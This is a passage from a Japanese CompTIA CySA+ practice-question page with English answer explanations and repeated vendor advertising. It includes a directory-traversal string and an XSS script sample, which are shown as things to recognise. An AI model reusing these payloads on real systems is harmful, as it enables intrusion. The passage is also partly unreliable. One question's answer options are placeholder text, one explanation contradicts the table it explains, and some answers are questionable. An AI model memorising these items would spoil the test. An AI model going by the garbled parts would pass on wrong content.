- D. AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L - 基本スコア 6.5

正解: ([正解を表示します](#))

This option represents the least impactful risk because it has the lowest base score among the four options, and it also requires high privileges, user interaction, and high attack complexity to exploit, which reduces the likelihood of a successful attack.

References: The base scores were calculated using the Common Vulnerability Scoring System Version 3.1 Calculator from FIRST. The explanation was based on the CVSS standards guide from NVD and the CVSS

3.1 Calculator Online from Calculators Hub.

質問: 151

セキュリティ管理者は、IT運用部門から、一部の脆弱性レポートに記載されている発見事項が不完全であるとの通知を受けました。この問題を解決するには、次のうちどの方法を用いるべきでしょうか？

- A. 認証済みスキャン
- B. 外部スキャン
- C. 差分スキャン
- D. ネットワークスキャン

正解: ([正解を表示します](#))

A credentialed scan is a type of vulnerability scan that uses valid credentials to log in to the scanned systems and perform a more thorough and accurate assessment of their vulnerabilities. A credentialed scan can access more information than a non-credentialed scan, such as registry keys, patch levels, configuration settings, and installed applications. A credentialed scan can also reduce the number of false positives and false negatives, as it can verify the actual state of the system rather than relying on inference or assumptions. The other types of scans are not related to the issue of incomplete findings, as they refer to different aspects of vulnerability scanning, such as the scope, location, or frequency of the scan. An external scan is a scan that is performed from outside the network perimeter, usually from the internet. An external scan can reveal how an attacker would see the network and what vulnerabilities are exposed to the public. An external scan cannot access internal systems or resources that are behind firewalls or other security controls. A differential scan is a scan that compares the results of two scans and highlights the differences between them. A differential scan can help identify changes in the network environment, such as new vulnerabilities, patched vulnerabilities, or new devices. A differential scan does not provide a complete list of findings by itself, but rather a summary of changes. A network scan is a scan that focuses on the network layer of the OSI model and detects vulnerabilities related to network devices, protocols, services, and configurations. A network scan can discover open ports, misconfigured firewalls, unencrypted traffic, and other network-related issues. A network scan does not provide information about the application layer or the host layer of the OSI model, such as web applications or operating systems.

有効的な**CS0-003J**問題集はJPNTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510問、30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **152**

セキュリティ アナリストがフィッシングメールを調査中に、進行中のランサムウェア攻撃を発見しました。アナリストは電子メールからファイルのコピーをダウンロードし、影響を受けるワークステーションをネットワークから隔離します。アナリストは次のアクティビティのうちどれを次に実行する必要がありますか？

- A. コンピュータをワイプしてソフトウェアを再インストールします
- B. 電子メール サーバーをシャットダウンし、ネットワークから隔離します。
- C. 影響を受けるワークステーションのビットレベルのイメージを取得します。
- D. 同じファイルを受信した他のメールユーザーを検索します。

正解: **D** ([コメントを发表する](#))

Searching for other mail users who have received the same file is the best activity to perform next, as it helps to identify and contain the scope of the ransomware attack and prevent further damage. Ransomware is a type of malware that encrypts files on a system and demands payment for their decryption. Ransomware can spread through phishing emails that contain malicious attachments or links that download the ransomware. By searching for other mail users who have received the same file, the analyst can alert them not to open it, delete it from their inboxes, and scan their systems for any signs of infection. The other activities are not as urgent or effective as searching for other mail users who have received the same file, as they do not address the immediate threat of ransomware spreading or affecting more systems. Wiping the computer and reinstalling software may restore the functionality of the affected workstation, but it will also erase any evidence of the ransomware attack and make recovery of encrypted files impossible. Shutting down the email server and quarantining it from the network may stop the delivery of more phishing emails, but it will also disrupt normal communication and operations for the organization. Acquiring a bit-level image of the affected workstation may preserve the evidence of the ransomware attack, but it will not help to stop or remove the ransomware or decrypt the files.

質問: **153**

最高情報セキュリティ責任者 (CISO) は、企業の業種をターゲットにすることが知られている特定の攻撃者がネットワークに侵入し、ネットワーク内に長期間留まる可能性があることを懸念しています。

CISO の目標を達成するには、次のどの手法を実行する必要がありますか？

- A. 脆弱性スキャン
- B. 敵対的なエミュレーション
- C. パッシブディスカバリ
- D. バグ報奨金

正解: ([正解を表示します](#))

The correct answer is B. Adversary emulation.

Adversary emulation is a technique that involves mimicking the tactics, techniques, and procedures (TTPs) of a specific threat actor or group to test the effectiveness of the security controls and incident response capabilities of an organization¹. Adversary emulation can help identify and address the gaps and weaknesses in the security posture of an organization, as well as improve the readiness and skills of the security team.

Adversary emulation can also help measure the dwell time, which is the duration that a threat actor remains undetected inside the network².

The other options are not the best techniques to meet the CISO's goals. Vulnerability scanning (A) is a technique that involves scanning the network and systems for known vulnerabilities, but it does not simulate a real attack or test the incident response capabilities. Passive discovery is a technique that involves collecting information about the network and systems without sending any packets or probes, but it does not identify or exploit any vulnerabilities or test the security controls. Bug bounty (D) is a program that involves rewarding external researchers or hackers for finding and reporting vulnerabilities in an organization's systems or applications, but it does not focus on a specific threat actor or group.

質問: 154

DevOpsアナリストが、リポジトリへの送信に対してコードの脆弱性スキャンをトリガーするWebhookを実装しました。この機能強化の主なメリットは次のどれですか？

- A. アップロード時に自動的に処理が実行されるようにすることで、カバレッジを拡大します。
- B. 脆弱性管理プロセスのための単一のダッシュボードを作成する
- C. 脅威フィードコンポーネントをソフトウェア開発ライフサイクルに組み込む
- D. 新しいコードコミットのデータエンリッチメントを採用して、プロジェクトドキュメントを強化する

正解: **A** ([コメントを發表する](#))

Webhooks enable automatic and event-driven interactions between applications. In the context of code repositories and vulnerability scanning, webhooks automate the scanning process every time new code is committed. This ensures continuous security coverage without relying on manual triggers, thereby embedding security checks into the development lifecycle efficiently. This automation leads to improved coverage and faster identification of vulnerabilities at the earliest stage possible in the DevSecOps pipeline.

Reference:

Mya Heath, CompTIA CySA+ All-in-One Exam Guide(2024), Chapter 2: "Webhooks are typically automated and allow for real-time data transfer to trigger workflows like vulnerability scans."

質問: 155

セキュリティアナリストは、組織のSIEMを構成しているときに、さまざまなシステム間でインシデントを関連付けることができずに苦労しています。次のうちどれを最初に確認する必要がありますか？

- A. 適切なログレベルが設定されている場合
- B. 各システムのNTP構成
- C. 行動関連設定
- D. データ正規化ルール

正解: ([正解を表示します](#))

The NTP configuration on each system should be checked first, as it is essential for ensuring accurate and consistent time stamps across different systems. NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks accordingly¹. If the NTP configuration is not consistent or correct on each system, the time stamps of the logs and events may differ, making it difficult to correlate incidents across different systems. This can affect the security analysis and correlation of events, as well as the compliance and auditing of the network²³.

References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, What is SIEM? | Microsoft Security

質問: 156

最高情報セキュリティ責任者は、SQLインジェクション、FRI、XSSなどの脆弱性から始めて、設計段階からセキュリティを実装したいと考えています。次のうち、要件を満たす可能性が最も高いのはどれですか？

- A. リバースエンジニアリング
- B. 既知の環境テスト
- C. 動的アプリケーションセキュリティテスト
- D. コードのデバッグ

正解: ([正解を表示します](#))

Dynamic Application Security Testing (DAST) is used to detect vulnerabilities in running applications, including common issues like SQL injection, FRI, XSS, etc. It aligns with the goal of implementing security by design.

質問: 157

アナリストは、最近の脆弱性スキャンに基づいて推奨事項を提供する必要があります。

Plug-in name	Family
SMB use domain SID to enumerate users.	Windows : User management
SYN scanner	Port scanners
SSL certificate cannot be trusted	General
Scan not performed with admin privileges	Settings

潜在的な脆弱性を確実に特定するために、アナリストが対処することを推奨すべき項目は次のうちどれですか？

- A. SMBはドメインSIDを使用してユーザーを列挙します
- B. SYN スキャナー
- C. SSL証明書は信頼できません
- D. スキャンは管理者権限で実行されませんでした

正解: [\(正解を表示します\)](#)

This is because scanning without admin privileges can limit the scope and accuracy of the vulnerability scan, and potentially miss some critical vulnerabilities that require higher privileges to detect. According to the OWASP Vulnerability Management Guide1, "scanning without administrative privileges will result in a large number of false negatives and an incomplete scan". Therefore, the analyst should recommend addressing this issue to ensure potential vulnerabilities are identified.

質問: 158

アナリストは複数のシステムのイベントを調査していますが、データ ポイントを関連付けることができません。システムに問題がある可能性が最も高いのは次のうちどれですか？

- A. アクセス権
- B. ネットワークのセグメンテーション
- C. 時刻同期
- D. 無効なプレイブック

正解: [\(正解を表示します\)](#)

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

質問: 159

サイバーセキュリティ アナリストは、DLP プロジェクト チームに参加して組織のデータを分類しています。データ分類の主な目的は次のどれですか。

- A. 規制遵守要件を特定する
- B. DLPルールを作成を容易にするため
- C. IT費用の優先順位を決める
- D. 組織にとってのデータの価値を確立する

正解: [\(正解を表示します\)](#)

The primary purpose of data classification is to determine the value of data to the organization. This helps in defining protection levels, access controls, and risk mitigation strategies.

Option A (Regulatory compliance requirements) is important but not the primary reason. Compliance is a result of data classification, not its purpose.

Option B (Facilitating DLP rules) is a secondary benefit, but classification is broader and not limited to DLP.

Option C (Prioritizing IT expenses) is unrelated to why organizations classify data.

Thus, D is the correct answer, as classification helps organizations prioritize data protection based on its value.

質問: 160

侵入テストの最終レポートを確認した後、サイバーセキュリティ アナリストは入力検証の脆弱性の修復を優先します。アナリストが防止しようとしている攻撃は次のどれですか。

A. DNS ポイズニング

B. ファーミング

C. フィッシング

D. クロスサイトスクリプティング

正解: ([正解を表示します](#))

Input validation vulnerabilities occur when an application fails to properly validate or sanitize user input, allowing malicious data to be processed. This can lead to various attacks, most notably cross-site scripting (XSS).

Option A:DNS poisoning

* Incorrect Choice:DNS poisoning involves corrupting the DNS cache to redirect users to malicious sites.

It is not related to input validation vulnerabilities.

Option B:Pharming

* Incorrect Choice:Pharming redirects users from legitimate websites to fraudulent ones, typically through DNS poisoning or host file manipulation. It is not directly related to input validation.

Option C:Phishing

* Incorrect Choice:Phishing involves tricking individuals into providing sensitive information through deceptive emails or websites. It exploits human behavior rather than technical input validation flaws.

Option D:Cross-site scripting

* Correct Choice:Cross-site scripting (XSS) attacks occur when an application includes untrusted data in a web page without proper validation or escaping. This allows attackers to execute malicious scripts in users ' browsers, leading to data theft, session hijacking, or defacement. Remediating input validation vulnerabilities is essential to prevent XSS attacks.

Reference:

CompTIA CySA+ CS0-003 Exam Objective 2.4: " Given a scenario, recommend controls to mitigate attacks and software vulnerabilities, " specifically addressing injection flaws like cross-site scripting.

質問: 161

脆弱性管理チームは、内部評価に基づいて、実稼働環境への展開前にインフラストラクチャに対するリスクを積極的に特定したいと考えています。このアプローチを最もよくサポートするのは次のどれですか。

A. 脅威モデリング

B. 侵入テスト

C. バグバウンティ

D. SDLCトレーニング

正解: ([正解を表示します](#))

Threat modeling is a proactive approach used to identify, analyze, and mitigate potential threats before they impact production systems. It is especially useful in early development stages to anticipate vulnerabilities and attack paths.

* Option B (Penetration testing) is a reactive measure performed on deployed systems, rather than prior to production.

* Option C (Bug bounty) programs incentivize external researchers but do not proactively model risks before deployment.

* Option D (SDLC training) improves security awareness but does not actively assess risks.

Thus, A (Threat modeling) is the best choice, as it enables early identification and mitigation of security risks.

質問: 162

MTTDがインシデント報告とコミュニケーションにどのように影響するかを説明しているのは、次のうちどれですか？

- A. MTTDが短いほど、インシデントによる潜在的な影響が軽減されます。
- B. MTTDの改善により、リーダーシップチームは悪用される前に脅威を認識できるようになります。
- C. MTTDは、検出から応答までの許容最大時間を定義します。
- D. MTTDは規制遵守の一部であり、報告のための承認されたプロセスを概説しています。

正解: **A** ([コメントを發表する](#))

The correct answer is A. MTTD - Mean Time to Detect - measures the average time between the beginning of a security incident and its detection. A shorter MTTD means the organization detects incidents faster, which can reduce attacker dwell time, limit damage, and reduce the incident's overall impact.

Exact supporting extract: the Secbay CySA+ guide defines MTTD as the average duration between the occurrence of a security incident and its detection. It states that MTTD reflects the effectiveness of monitoring and detection capabilities and that reducing MTTD improves cybersecurity resilience.

The official CySA+ objectives include mean time to detect, mean time to respond, mean time to remediate, and alert volume under incident response metrics and KPIs.

Why the other options are incorrect:

B is incorrect because MTTD does not guarantee leadership is notified before exploitation.

C is incorrect because the time between detection and response is closer to MTTR, not MTTD.

D is incorrect because MTTD is a reporting metric, not a regulatory compliance process.

A is correct because faster detection normally reduces potential incident impact.

質問: 163

セキュリティ管理者は、会社の外部向けポータルに対する辞書攻撃の兆候を発見しました。パスワード攻撃を最も効果的に軽減するには、次のどれを実装する必要がありますか？

- A. 多要素認証
- B. パスワードの複雑さ
- C. Web アプリケーション ファイアウォール
- D. ロックアウトポリシー

正解: ([正解を表示します](#))

Dictionary attacks involve an attacker attempting to guess passwords by using a list of common passwords.

Implementing a lockout policy is effective because it limits the number of login attempts, thereby hindering the attacker's ability to repeatedly attempt different passwords. Lockout policies are standard in cybersecurity practices to prevent brute-force and dictionary attacks by temporarily disabling an account after a certain number of failed login attempts. According to CompTIA Security+ standards, password complexity (option B) and multifactor authentication (option A) are helpful but are not as immediately effective in directly preventing repeated attempts as a lockout policy.

質問: 164

ウェブサーバーのログを確認中に、セキュリティアナリストが次のスニペットに気づきました。

```
..\..\..\boot.ini
```

次のどれが試みられていますか？

- A. ディレクトリトラバーサル
- B. リモートファイルのインクルード

- C. クロスサイトスクリプティング
- D. リモートコード実行
- E. /etc/passwd の列挙

正解: ([正解を表示します](#))

The log entry ".....\boot.ini" is indicative of a directory traversal attack, where an attacker attempts to access files and directories that are stored outside the web root folder.

The log snippet ".....\boot.ini" is indicative of a directory traversal attack. This type of attack aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with "../" (dot-dot-slash), the attacker may be able to access arbitrary files and directories stored on the file system.

質問: 165

SOARソリューションを導入することで実現できるプロセス改善は、次のうちどれですか？

(2つ選択してください。)

- A. セキュリティ攻撃を最小限に抑える
- B. 承認のためのタスクを項目化する
- C. 反復作業を減らす
- D. セットアップの複雑さを最小限に抑える
- E. セキュリティ戦略を定義する
- F. レポートと指標を生成する

正解: C,F ([コメントを発表する](#))

Comprehensive Detailed Explanation:SOAR (Security Orchestration, Automation, and Response) solutions are implemented to streamline security operations and improve efficiency. Key benefits include:

* C. Reduce repetitive tasks: SOAR solutions automate routine and repetitive tasks, which helps reduce analyst workload and minimize human error.

* F. Generate reports and metrics: SOAR platforms can automatically generate comprehensive reports and performance metrics, allowing organizations to track incident response times, analyze trends, and optimize security processes.

Other options are less relevant to the core functions of SOAR:

* A. Minimize security attacks: While SOAR can aid in quicker response, it does not directly minimize the occurrence of attacks.

* B. Itemize tasks for approval: Task itemization for approval is more relevant to project management tools.

* D. Minimize setup complexity: SOAR solutions often require significant setup and integration with existing tools.

* E. Define a security strategy: SOAR is more focused on automating response rather than strategy definition.

References:

Gartner 's Guide on SOAR Solutions: Discusses automation and reporting features.

NIST SP 800-61: Computer Security Incident Handling Guide, on the value of automation in incident response.

質問: 166

ある企業のインターネット向けWebアプリケーションが、設計上の欠陥が原因で複数回侵害されました。同社はこれらのインシデントの再発リスクを最小限に抑えたいと考えており、開発者に対してより高度なセキュリティ研修を実施しました。しかし、同社はこの問題にこれ以上社内リソースを割り当てることができません。システム内の欠陥を特定するのに最適な選択肢は次のうちどれですか？(2つ選択してください)。

- A. WAFの展開
- B. 法医学的分析の実施
- C. 侵入テストの契約
- D. テーブルトップエクササイズを行う

E. バグ報奨金プログラムの作成

F. 脅威モデリングの実装

正解: ([正解を表示します](#))

To identify existing vulnerabilities in the web application, the best options are to contract a penetration test and create a bug bounty program. A penetration test simulates attacks against the application to uncover security flaws proactively. A bug bounty program incentivizes external security researchers to find and report vulnerabilities, expanding the testing scope without overburdening internal resources. According to CompTIA CySA+, both methods are highly effective in identifying vulnerabilities from an external perspective, particularly when internal resources are limited. Options like a WAF (A) focus more on prevention than detection, while threat modeling (F) and tabletop exercises (D) are generally proactive measures not focused on active flaw identification.

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 167

ウェブアプリケーションには、内部URLからコンテンツを取得し、ログ内のCSRF攻撃を特定する機能があります。セキュリティアナリストは、正しい形式のリクエストを除外する正規表現を作成しています。

ターゲット URL は `https://10.1.2.3/api` で、受信側の API は GET リクエストのみを受け付け、`id` という名前の単一の整数引数を使用します。アナリストは目的を達成するために、次のうちの正規表現を使用すべきでしょうか？

- A. `(?!https://10\.\1\2\3/api?id=[0-9]+)`
- B. `" https://10\.\1\2\3/api?id=\d+`
- C. `(?: " https://10\.\1\2\3/api?id-[0-9]+)`
- D. `https://10\.\1\2\3/api?id[0-9J$`

正解: B ([コメントを发表する](#))

The correct regular expression to match a GET request to this API endpoint is `" https://10\.\1\2\3/api?id=\d+`

`"`. This pattern checks for the specific URL with an id parameter that accepts integer values. The syntax `\d+` matches one or more digits, which aligns with the requirement for a single integer argument. Other options either use incorrect syntax or do not accurately capture the expected URL format. Regular expressions are vital in filtering and identifying patterns in logs, as recommended by CompTIA Cybersecurity Analyst (CySA+) practices for threat hunting and log analysis.

質問: 168

開発作業がほとんど完了していないレガシー Web アプリケーションで、いくつかのインシデントが発生しました。インシデントの原因として最も可能性が高いのは次のどれですか。

- A. Web アプリケーション ファイアウォールの設定が誤っています
- B. データ整合性エラー
- C. 古いライブラリ
- D. ログが不十分です

正解: ([正解を表示します](#))

Outdated libraries in a legacy web application introduce security vulnerabilities, as they lack modern patches and contain known exploits.

* Option A (Misconfigured WAF) can contribute to security issues but is not inherent to legacy applications.

* Option B (Data integrity failure) is a potential impact but not a direct cause of recurring incidents.

* Option D (Insufficient logging)affects detection, but the root cause is insecure, outdated components.

Thus, C (Outdated libraries) is the correct answer, as legacy applications frequently suffer from unpatched vulnerabilities.

質問: 169

SOC(セキュリティオペレーションセンター)は、ワークステーションから社内Webアプリケーションにアクセスする際に発生するデスクトップエラーメッセージが最近増加しているという苦情を多数受け取っています。アナリストは、Webサーバー上で最近変更されたXMLファイルを特定し、レビューのためにそのファイルのコピーを取得しました。そのファイルには、次のコードが含まれていました。

```
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="default.xsl"?>
<intro>
  <firstintro>
    <name>Welcome</name>
    <description>
      Welcome &lt;script type="text/javascript">alert("Your system is infected. Contact a service technician at
      gethelp.now.xyz")&lt;/script>, to our internal employee training catalog. From this page, you can access essential training
      regarding the handling of PHI. Patient Health Information must be safeguarded from unauthorized access.
    </description>
```

以下のXMLスキーマ制約のうち、これらのデスクトップエラーメッセージが表示されないようにするには、どれを使用すればよいでしょうか？

- A. 白い背景に黒い文字のAI生成コンテンツは正しくない可能性があります。
- B. 白い背景に黒い文字のAI生成コンテンツは正しくない可能性があります。
- C. 白い背景に黒い文字のAI生成コンテンツは正しくない可能性があります。
- D. コンピュータコードAI生成コンテンツのスクリーンショットは不正確である可能性があります。

正解: [\(正解を表示します\)](#)

The XML file contains JavaScript embedded within a < description > tag that executes an alert message, which is a common Cross-Site Scripting (XSS) attack vector. The issue occurs because the XML schema does not restrict the input to safe characters, allowing arbitrary script execution when the XML file is processed by a vulnerable application.

Solution: Implement Input Validation Using an XML Schema Constraint

* Option B enforces a whitelist approach by allowing only alphanumeric characters and spaces ([a-zA-Z 0-9]*).

* This prevents the inclusion of malicious JavaScript or special characters such as < , > , or & , which are required for XSS injection.

Why are the other options incorrect?

* Option A: Restricts input to a Social Security Number (SSN) format ([0-9]{3}-[0-9]{2}-[0-9]{4}).

While it prevents JavaScript injection, it is too restrictive and would break legitimate text-based content in the XML.

* Option C: Restricts input to only numeric values ([0-9]*), preventing JavaScript injection but also breaking legitimate non-numeric content in the < description > field.

* Option D: Restricts input to a single positive integer, which does not align with the expected text-based content.

Thus, Option B is the correct answer, as it enforces proper input validation while still allowing expected text input.

質問: 170

従業員が Web サイトにアクセスしたため、デバイスが侵入的なマルウェアに感染しました。インシデント対応アナリストの特徴は次のとおりです。

* 最初の証拠ログを作成しました。

* デバイスのワイヤレス アダプターを無効にしました。

※従業員に聞き取りを行ったが、アクセスされたWebサイトは特定できなかった

* Web プロキシのトラフィック ログを確認しました。

感染したデバイスを修復するには、アナリストが行うべきことは次のうちどれですか？

- A. システム ファームウェアを更新し、ハードウェアを再イメージ化します。
- B. アナリストに電子メール警告を送信する追加のマルウェア スキャナーをインストールします。
- C. インターネット アクセスにプロキシ サーバーを使用するようにシステムを設定します。
- D. ユーザー プロファイルを削除し、バックアップからデータを復元します。

正解: ([正解を表示します](#))

Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is restored to a clean and secure state and that any traces of malware are removed. Firmware is a type of software that controls the low-level functions of a hardware device, such as a motherboard, hard drive, or network card. Firmware can be updated or flashed to fix bugs, improve performance, or enhance security. Reimaging is a process of erasing and restoring the data on a storage device, such as a hard drive or a solid state drive, using an image file that contains a copy of the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data corruption, or malware infections. Updating the system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration changes that may have been made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent further damage, data loss, or compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and reimaging the hardware, as they do not address the root cause of the infection or ensure that the device is fully cleaned and secured. Installing an additional malware scanner that will send email alerts to the analyst may help to detect and remove some types of malware, but it may not be able to catch all malware variants or remove them completely. It may also create conflicts or performance issues with other security tools or systems on the device. Configuring the system to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not prevent or remove malware that has already infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may help to recover some data or settings that may have been affected by the malware, but it may not remove malware that has infected other parts of the system or that has persisted on the device.

質問: 171

社内に開発チームを持つ企業で安全なソフトウェア開発ライフサイクルを実装することの重要性を最もよく説明しているのはどれですか？

- A. 実装をマーケティングの一環として利用することで製品価格を上げる
- B. ソフトウェア使用のリスクを軽減し、規制要件に準拠します
- C. アジャイルプロセスを改善し、最終展開前のテストの量を削減します。
- D. セキュリティ上の欠陥に対する責任を脆弱性管理チームに移譲する

正解: B ([コメントを発表する](#))

A Secure Software Development Life Cycle (SDLC) integrates security measures at each stage of development to reduce vulnerabilities and improve the overall security of the software. This is essential for minimizing risks related to software usage and ensuring compliance with regulatory requirements, which is particularly important for organizations handling sensitive data. As per CompTIA standards, a Secure SDLC helps prevent security breaches and protects both the organization and its users from potential harm. Options A, C, and D do not accurately describe the primary goals of a Secure SDLC, which primarily centers on risk reduction and regulatory compliance.

質問: 172

組織が CSIRT を活性化しました。セキュリティアナリストは、単一の仮想サーバーが侵害され、即座にネットワークから隔離されたと考えています。CSIRT が次に行うべきことは次のうちどれですか？

- A. 侵害されたサーバーのスナップショットを取得し、その整合性を検証します。
- B. 影響を受けたサーバーを復元してマルウェアを削除します。
- C. 調査するために適切な政府機関に連絡します。
- D. マルウェア株を調査して属性を特定します

正解: ([正解を表示します](#))

The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and verify its integrity. Taking a snapshot of the compromised server involves creating an exact copy or image of the server's data and state at a specific point in time. Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and verifying its integrity can help preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or destruction of evidence.

質問: 173

インシデント対応アナリストが別のアナリストから調査を引き継いでいます。捜査はここ数日間続いている。2 人のアナリストの間で移行する際に最も重要な手順は次のうちどれですか？

- A. 学んだ教訓を特定し、以前のアナリストと話し合います。
- B. すべての結果を受け入れ、次の項目ターゲットの調査を続行します。
- C. 前のアナリストが実行した手順を確認します。
- D. 以前のアナリストから根本原因を検証します。

正解: ([正解を表示します](#))

Reviewing the steps that the previous analyst followed is the most important step during the transition, as it ensures continuity and consistency of the investigation. It also helps the new analyst to understand the current status, scope, and findings of the investigation, and to avoid repeating the same actions or missing any important details. The other options are either less important, premature, or potentially biased. References:

CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4: Incident Response and Management, page 191. Incident response best practices and tips, Tip 1: Always pack a jump bag.

質問: 174

セキュリティ アナリストは、同じ国の IP アドレスを識別するシェル スクリプトを作成しています。次の機能のうち、アナリストが目的を達成するのに役立つものはどれですか？

- A. `function w() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $1}') && echo "$1 | $info" }`
- B. `function x() { info=$(geoplookup $1) && echo "$1 | $info" }`
- C. `function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo "$1 | $info" }`
- D. `function z() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }`

正解: ([正解を表示します](#))

The function that would help the analyst identify IP addresses from the same country is:

```
function x() { info=$(geoplookup $1) && echo "$1 | $info" }
```

This function takes an IP address as an argument and uses the geoplookup command to get the geographic location information associated with the IP address, such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to the same country.

質問: 175

複数のSaaSアプリケーションのクラウド移行に際し、組織のシステム管理者は、クラウドベースの資産へのIDおよびアクセス管理の拡張という複雑な課題に頭を悩ませていました。このプロジェクトの複雑さを軽減できたサービスモデルは次のうちどれでしょうか。

- A. RADIUS
- B. SDN
- C. ZTNA
- D. SWG

正解: ([正解を表示します](#))

Zero Trust Network Access (ZTNA)simplifies secure remote access to cloud and SaaS applications byenforcing identity-based, least-privilege access policies. It eliminates the need to extend traditional network- based access models to the cloud. ZTNA ensures thateach user is verified continuouslyregardless of their network location, aligning perfectly with complex multi-cloud or SaaS environments.

- * RADIUS (A)is an older authentication protocol, not ideal for SaaS cloud scale.
- * SDN (B)controls network flow, not identity management.
- * SWG (D)is a secure web proxy, not for access control and IAM extension.

Reference:

- * CS0-003 Exam Objectives 1.1 - Identity and Access Management
- * Sybex Study Guide - Chapple & Seidl, Chapter 2: Zero Trust & Cloud IAM

質問: 176

セキュリティ アナリストは、重要なシステム上の FIM によってトリガーされた次のアラートを調査しています。

Host	Path	Key added
WEBSERVER01	HKLM\Software\Microsoft\Windows\CurrentVersion\Personalization	Allow (1)
WEBSERVER01	HKLM\Software\Microsoft\Windows\CurrentVersion\Run	RunMe (%appdata%\abc.exe)
WEBSERVER01	HKCU\Printers\ConvertUserDevModesCount	Microsoft XPS Writer (2)
WEBSERVER01	HKCU\Network\Z	Remote Path (192.168.1.10 CorpZ_Drive)
WEBSERVER01	HKLM\Software\Microsoft\PCHealthCheck	Installed (1)

発生している不審なアクティビティを最もよく説明しているものは次のうちどれですか？

- A. 偽のウイルス対策プログラムがユーザーによってインストールされました。
- B. データの漏洩を可能にするためにネットワーク ドライブが追加されました
- C. システム起動時に新しいプログラムが実行されるように設定されました。
- D. 192.168.1.10 のホスト ファイアウォールが無効になりました。

正解: C (コメントを发表する)

A new program has been set to execute on system start is the most likely cause of the suspicious activity that is occurring, as it indicates that the malware has modified the registry keys of the system to ensure its persistence. File Integrity Monitoring (FIM) is a tool that monitors changes to files and registry keys on a system and alerts the security analyst of any unauthorized or malicious modifications. The alert triggered by FIM shows that the malware has created a new registry key under the Run subkey, which is used to launch programs automatically when the system starts. The new registry key points to a file named "update.exe" in the Temp folder, which is likely a malicious executable disguised as a legitimate update file. Official References:

- * <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>
- * <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- * <https://www.comptia.org/training/books/cysa-cs0-002-study-guide>

質問: 177

ある企業は、一般に公開されている機密ファイルの保管場所を見つけることに関心を持っています。現在の社内クラウド ネットワークはフラットです。ネットワークを保護するための最適なソリューションは次のうちどれですか？

- A. ACL を使用してセグメンテーションを実装します。

- B. SIEM へのロギングとモニタリングを構成します。
- C. MFA をクラウド ストレージの場所に展開します。
- D. IDS をロールアウトします。

正解: ([正解を表示します](#))

Implementing segmentation with ACLs is the best solution to secure the network. Segmentation is the process of dividing a network into smaller subnetworks, or segments, based on criteria such as function, location, or security level. Segmentation can help improve the network performance, scalability, and manageability, as well as enhance the network security by isolating the sensitive or critical data and systems from the rest of the network. ACLs are Access Control Lists, which are rules or policies that specify which users, devices, or applications can access a network segment or resource, and which actions they can perform. ACLs can help enforce the principle of least privilege, and prevent unauthorized or malicious access to the network segments or resources¹². Configuring logging and monitoring to the SIEM, deploying MFA to cloud storage locations, and rolling out an IDS are all good security practices, but they are not the best solution to secure the network.

Logging and monitoring to the SIEM can help detect and analyze the network events and incidents, but they do not prevent them. MFA can help authenticate the users who access the cloud storage locations, but it does not protect the network from attacks or breaches. IDS can help identify and alert the network intrusions, but it does not block them³⁴. References: Network Segmentation: What It Is and How to Do It Right, What is an Access Control List (ACL)? | IBM, What is SIEM? | Microsoft Security, What is Multifactor Authentication (MFA)? | Duo Security, [What is an Intrusion Detection System (IDS)? | IBM]

質問: 178

機密情報を含む複数のレポートがファイル共有サービスを通じて流出している。会社はこの脅威に対するセキュリティ対策を強化したいと考えている。この状況において、会社を最も効果的に支援できるセキュリティ対策は次のうちどれか？

- A. 管理者向けにステップアップ認証を実装します。
- B. 従業員の研修と意識向上を図る。
- C. パスワードの複雑性基準を引き上げます。
- D. モバイルデバイス管理を展開します。

正解: B ([コメントを发表する](#))

